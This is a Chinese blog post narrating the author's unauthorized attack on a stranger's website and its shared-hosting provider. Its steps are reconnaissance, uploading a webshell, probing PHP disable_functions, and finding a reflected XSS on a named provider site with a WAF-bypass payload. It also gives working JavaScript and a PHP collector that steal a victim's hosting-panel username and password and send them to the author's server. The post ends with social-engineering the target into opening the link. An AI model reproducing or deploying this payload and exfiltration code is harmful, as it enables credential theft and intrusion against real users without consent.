这篇文章上次修改于 464 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

起因

在娱乐群发现一个大兄弟画风清奇

恩,的确很非主流。点开他资料

发现一个网址

1563264431467

1563264481735

恩,很黑阔

好久没日站了,手痒了,看看他这个站吧

信息收集

主站全部是静态文件,没有交互的的地方,连各种查询都是列一个表然后ctrl+f查询...

1563265207969

基本上主站程序上是没有口子了,做一下其他的信息收集

微步在线查一下他的域名

1563264959937

ip反查域名发现有1000个域名指向这个地址

猜测是虚拟空间之类的

翻一下

1563265360914

发现一个旁站域名,访问看看

1563265448469

彩虹云主机,恩试一下

1563265568156

居然有免费主机,注册登录之

申请一个免费主机

1563265812376

发现我刚刚申请的主机和对方主机是同一个ip

主机面板使用的是easypanel,没有新漏洞

有一个开在3133的phpmyadmin,普通用户权限 版本4.0.20 没有新漏洞

尝试提权

传一个大马到我刚刚申请的虚拟空间,看看能不能提权

1563266062412

读一下phpinfo

检查disable_functions

发现可执行shell命令的都被禁用了。。

exec,passthru,shell_exec,system,proc_open,proc_close,proc_get_status,popen,show_source,disk_free_space,disk_total_space,chroot,chgrp,chown,dl,readlink,symlink,putenv,openlog,syslog

连putenv也禁用了,试了各种方法都没办法绕过disable_functions

陷入僵局.jpg

想起/tmp/目录是任何用户都可写的,同时php的session文件也会存在这里

1563266534829

格式为sess_+sessionid

本来想尝试能不能找一个高权限的sessionid登录phpmyadmin,最后发现云主机上各种网站都会往这里存session

,phpmyadmin的session文件只是其中一小部分

1000多个网站的session文件数量还是很恐怖的,我决定暂时放下这条路,找一找云主机供应商有没有什么漏洞

转战云主机供应商

重点测试云主机供应商注册登录,找回密码功能,个人资料修改功能

为了测试,注册了俩帐号,检查有没有垂直越权,平行越权等操作

不过这里用户帐户相关功能经过测试都没有问题,个人资料修改处有一个长度为5的selfxss,并没有什么软用

这时发现修改密码等功能,成功时会返回一个参数

1563267983842

https://www.cccyun.net/index.php/user/index/?success=修改成功&referer=xxx
https://www.cccyun.net/index.php/user/index/?error=操作失败&referer=xxxx

尝试更改返回内容的信息

这里大概率存在一处反射型xss

深入测试发现,有云锁waf script等关键字会被拦截

同时后端会匹配尖括号,存在闭合的尖括号会被过滤 猜测匹配正则是<.*?>

同时网站还有一个bug,多加一个/会无限跳转,导致触发cc waf 封ip..

简单测试,绕过云锁

利用浏览器容错性,写一个不闭合的script标签,同时/用url编码%2f绕过

<sc<aaa>ript src=https:%2f%2ftest66-1252849447.cos.ap-chengdu.myqcloud.com%2fxxx.js <!--

1563269073013

成功插入

构造钓鱼脚本

问题来了,如何获得管理权限呢?直接xss获取到cookie,然后拿对方cookie登录当然可以,不过有更简便的方法

因为产品管理这里已经有了面板用户名和密码,只要拿js获取这一段字符串就行

1563269299767

脚本主要分四部分

  • 获取用户的产品id
  • 根据产品id访问控制页面
  • 获取用户名密码并发送到我的服务器
  • 跳转到其他页面完成社工伪装

ec.js:

$.get("https://www.cccyun.net/index.php/control/index/",function(userdata){
    manageurl=userdata.match(/index.php.control.detail.\d*/);
    $.get("https://www.cccyun.net/"+manageurl[0],function(managedata){
        pass=managedata.match(/:<\/strong><br>.*s\d*.*?<\/p>/)
        payload=pass[0].replace(":</strong><br>","").replace("</p>","")
        $.get("https://www.hexlt.org/xss.php?data="+btoa(payload),function(datas){},"jsonp")
    })
})
function callbackjump(){
    window.location.href="https://tools.hexlt.org/nmap";
}

xss.php:

<?php
header("Content-type: application/javascript; charset=utf-8");
if (isset($_GET['data'])){
            file_put_contents("goodnews.txt", base64_decode($_GET['data']).PHP_EOL, FILE_APPEND);
            die("callbackjump()");
}
?>

社工目标

小号加上对方好友

上钩 打马的就是目标

1563270804065尝试登录

结束